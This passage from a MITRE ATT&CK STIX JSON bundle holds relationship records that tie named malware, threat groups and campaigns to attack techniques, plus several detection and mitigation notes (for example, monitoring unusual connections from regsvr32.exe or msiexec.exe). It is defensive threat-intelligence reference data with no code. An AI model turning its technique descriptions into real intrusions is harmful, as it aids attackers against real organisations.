            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--a737a968-1fec-4e9b-b0dd-d4318f07a691",
            "created": "2021-12-01T18:05:14.835Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET Gelsemium June 2021",
                    "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:55.898Z",
            "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to inject DLLs into specific processes.(Citation: ESET Gelsemium June 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b",
            "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--a7392d5f-d653-4b74-bf08-d95beb5fabcc",
            "created": "2023-07-07T18:06:25.718Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Crowdstrike TELCO BPO Campaign December 2022",
                    "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.",
                    "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:37:52.544Z",
            "description": "During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) registered devices for MFA to maintain persistence through victims' VPN.(Citation: Crowdstrike TELCO BPO Campaign December 2022)",
            "relationship_type": "uses",
            "source_ref": "campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa",
            "target_ref": "attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--a73b2e1c-fb14-4e1f-bbe2-b216bb38c694",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "CISA AA24-038A PRC Critical Infrastructure February 2024",
                    "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.",
                    "url": "https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"
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            ],
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            ],
            "modified": "2025-04-16T22:37:52.762Z",
            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used Brightmetricagent.exe which contains a command- line interface (CLI) library that can leverage command shells including Z Shell (zsh).(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2",
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        {
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            "id": "relationship--a73d5874-4aa6-4126-8ae6-af7416b7dc43",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Medium Anchor DNS July 2020",
                    "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020.",
                    "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:03:56.246Z",
            "description": "[Anchor](https://attack.mitre.org/software/S0504) can determine the public IP and location of a compromised host.(Citation: Medium Anchor DNS July 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "created": "2020-05-18T17:31:39.469Z",
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                {
                    "source_name": "FireEye Maze May 2020",
                    "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html"
                },
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            "description": "Monitor for newly constructed drive letters or mount points to a data storage device for attempts to write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.",
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            "revoked": false,
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                {
                    "source_name": "Harmj0y Kerberoast Nov 2016",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"
                },
                {
                    "source_name": "PowerSploit Invoke Kerberoast",
                    "description": "Schroeder, W. & Hart M. (2016, October 31). Invoke-Kerberoast. Retrieved March 23, 2018.",
                    "url": "https://powersploit.readthedocs.io/en/latest/Recon/Invoke-Kerberoast/"
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            "modified": "2025-04-16T22:38:36.708Z",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Invoke-Kerberoast</code> module can request service tickets and return crackable ticket hashes.(Citation: PowerSploit Invoke Kerberoast)(Citation: Harmj0y Kerberoast Nov 2016)",
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                    "source_name": "Github Koadic",
                    "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.",
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            "description": "[Koadic](https://attack.mitre.org/software/S0250) can run a command on another machine using [PsExec](https://attack.mitre.org/software/S0029).(Citation: Github Koadic)",
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                    "description": "BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker\u2019s toolkit. Retrieved February 2, 2022.",
                    "url": "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319"
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            "description": "[Lizar](https://attack.mitre.org/software/S0681) can collect the computer name from the machine,.(Citation: BiZone Lizar May 2021) ",
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            "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) can deploy additional tools.(Citation: ClearSky Lebanese Cedar Jan 2021)",
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                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can execute commands from its C2 server.(Citation: FireEye APT34 Dec 2017)",
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            "revoked": false,
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                    "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"
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            "description": "[PACEMAKER](https://attack.mitre.org/software/S1109) can use a simple bash script for execution.(Citation: Mandiant Pulse Secure Zero-Day April 2021)",
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                {
                    "source_name": "Red Canary NETWIRE January 2020",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
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            "modified": "2025-04-28T16:04:28.692Z",
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can copy itself to and launch itself from hidden folders.(Citation: Red Canary NETWIRE January 2020)",
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                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020.",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/"
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            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has uploaded a file containing debugger logs, network information and system information to the C2.(Citation: QiAnXin APT-C-36 Feb2019)",
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            "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9",
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                    "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
                },
                {
                    "source_name": "US-CERT NotPetya 2017",
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A"
                },
                {
                    "source_name": "US District Court Indictment GRU Unit 74455 October 2020",
                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.",
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            "description": "[NotPetya](https://attack.mitre.org/software/S0368) encrypts user files and disk structures like the MBR with 2048-bit RSA.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
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                    "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.",
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            "description": "[Carbon](https://attack.mitre.org/software/S0335) encrypts configuration files and tasks for the malware to complete using CAST-128 algorithm.(Citation: ESET Carbon Mar 2017)(Citation: Accenture HyperStack October 2020)",
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            "spec_version": "2.1",
            "id": "relationship--aacb14e6-056f-4df4-8b9c-58a36076b1ad",
            "created": "2022-03-30T14:26:51.860Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:29.702Z",
            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aacb43b8-2d3a-40bc-9f7b-1acb5b2474f2",
            "created": "2020-05-11T18:05:53.457Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                },
                {
                    "source_name": "FireEye HIKIT Rootkit Part 2",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 22). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210920172620/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:38:39.311Z",
            "description": "[Hikit](https://attack.mitre.org/software/S0009) is a [Rootkit](https://attack.mitre.org/techniques/T1014) that has been used by [Axiom](https://attack.mitre.org/groups/G0001).(Citation: FireEye Hikit Rootkit) (Citation: FireEye HIKIT Rootkit Part 2) ",
            "relationship_type": "uses",
            "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aacc2945-4ff1-4bf8-8428-1198eb6e127e",
            "created": "2021-10-06T19:18:54.606Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Accenture MUDCARP March 2019",
                    "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:29.986Z",
            "description": "[BADFLICK](https://attack.mitre.org/software/S0642) has uploaded files from victims' machines.(Citation: Accenture MUDCARP March 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--57d83eac-a2ea-42b0-a7b2-c80c55157790",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET RTM Feb 2017",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf"
                }
            ],
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            ],
            "modified": "2025-04-28T16:04:30.171Z",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.(Citation: ESET RTM Feb 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aad8c4dc-db11-48b4-b294-f63ccde5e798",
            "created": "2017-05-31T21:33:27.042Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
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            ],
            "modified": "2025-04-28T16:04:30.351Z",
            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) malware installs itself as a service to provide persistence and SYSTEM privileges.(Citation: Kaspersky Carbanak)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--aadfeef0-8532-4701-adf8-b2b4fb7ede08",
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            "revoked": false,
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            ],
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            "description": "Monitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious destinations (e.g. destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g. monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, .SCF, HTA, MSI, DLLs, or msiexec.exe).",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aae10582-ba88-4a02-9d66-fd460bf4f303",
            "created": "2021-02-09T18:36:22.131Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf"
                }
            ],
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            ],
            "modified": "2025-04-28T16:04:30.649Z",
            "description": "[Explosive](https://attack.mitre.org/software/S0569) has used HTTP for communication.(Citation: CheckPoint Volatile Cedar March 2015)",
            "relationship_type": "uses",
            "source_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aae309ee-9d15-4188-8f74-68c581a3a720",
            "created": "2022-08-09T13:02:09.414Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:38:40.512Z",
            "description": "Application developers uploading to public code repositories should be careful to avoid publishing sensitive information such as credentials and API keys.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
            "target_ref": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aae339ae-44bb-48d3-b62e-7f35376bb974",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "fsecure NanHaiShu July 2016",
                    "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:30.921Z",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses DNS for the C2 communications.(Citation: fsecure NanHaiShu July 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aae621b9-9d10-4cd2-91f0-18f6fc8f8406",
            "created": "2022-03-30T14:26:51.856Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:31.121Z",
            "description": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3",
            "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aae6444e-c9e5-4965-9499-8aa6d546b58e",
            "created": "2022-09-02T20:46:33.488Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "TrendMicro EarthLusca 2022",
                    "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.",
                    "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:38:40.934Z",
            "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) has used [Tasklist](https://attack.mitre.org/software/S0057) to obtain information from a compromised host.(Citation: TrendMicro EarthLusca 2022)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aaecf1d4-46fb-4528-b150-6919db3bfde7",
            "created": "2024-01-05T21:39:58.589Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Kaspersky ToddyCat June 2022",
                    "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.",
                    "url": "https://securelist.com/toddycat/106799/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:38:41.117Z",
            "description": "[Samurai](https://attack.mitre.org/software/S1099) can compile and execute downloaded modules at runtime.(Citation: Kaspersky ToddyCat June 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0",
            "target_ref": "attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aaecf92d-75de-4767-9471-835353728a5c",
            "created": "2022-04-14T20:00:19.432Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Sygnia Golden SAML",
                    "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.",
                    "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:38:41.306Z",
            "description": "Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
            "target_ref": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aaeef068-5853-45c9-922a-9ff779041cbe",
            "created": "2021-09-29T15:41:18.380Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FSI Andariel Campaign Rifle July 2017",
                    "description": "FSI. (2017, July 27). Campaign Rifle - Andariel, the Maiden of Anguish. Retrieved September 12, 2024.",
                    "url": "https://fsiceat.tistory.com/2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:38:41.505Z",
            "description": "[Andariel](https://attack.mitre.org/groups/G0138) has used a variety of publicly-available remote access Trojans (RATs) for its operations.(Citation: FSI Andariel Campaign Rifle July 2017)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8",
            "target_ref": "attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aaf0545f-bb47-4796-b23e-4780f354add9",
            "created": "2020-05-08T20:17:55.366Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky Cloud Atlas August 2019",
                    "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020.",
                    "url": "https://securelist.com/recent-cloud-atlas-activity/92016/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:31.694Z",
            "description": "[PowerShower](https://attack.mitre.org/software/S0441) has the ability to identify the current Windows domain of the infected host.(Citation: Kaspersky Cloud Atlas August 2019)",
            "relationship_type": "uses",
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                    "description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
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                    "url": "https://unit42.paloaltonetworks.com/lockbit-2-ransomware/"
                },
                {
                    "source_name": "FBI Lockbit 2.0 FEB 2022",
                    "description": "FBI. (2022, February 4). Indicators of Compromise Associated with LockBit 2.0 Ransomware. Retrieved January 24, 2025.",
                    "url": "https://www.ic3.gov/CSA/2022/220204.pdf"
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            ],
            "modified": "2025-04-16T22:39:15.187Z",
            "description": "[LockBit 2.0](https://attack.mitre.org/software/S1199) will not execute on hosts where the system language is set to a language spoken in the Commonwealth of Independent States region.(Citation: FBI Lockbit 2.0 FEB 2022)(Citation: Palo Alto Lockbit 2.0 JUN 2022)",
            "relationship_type": "uses",
            "source_ref": "malware--a4578560-42cf-4075-9fa2-056f0058c881",
            "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad06b85a-a0df-41aa-8f45-f41504987918",
            "created": "2020-05-13T17:16:11.136Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"
                },
                {
                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
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            ],
            "modified": "2025-04-16T22:39:15.411Z",
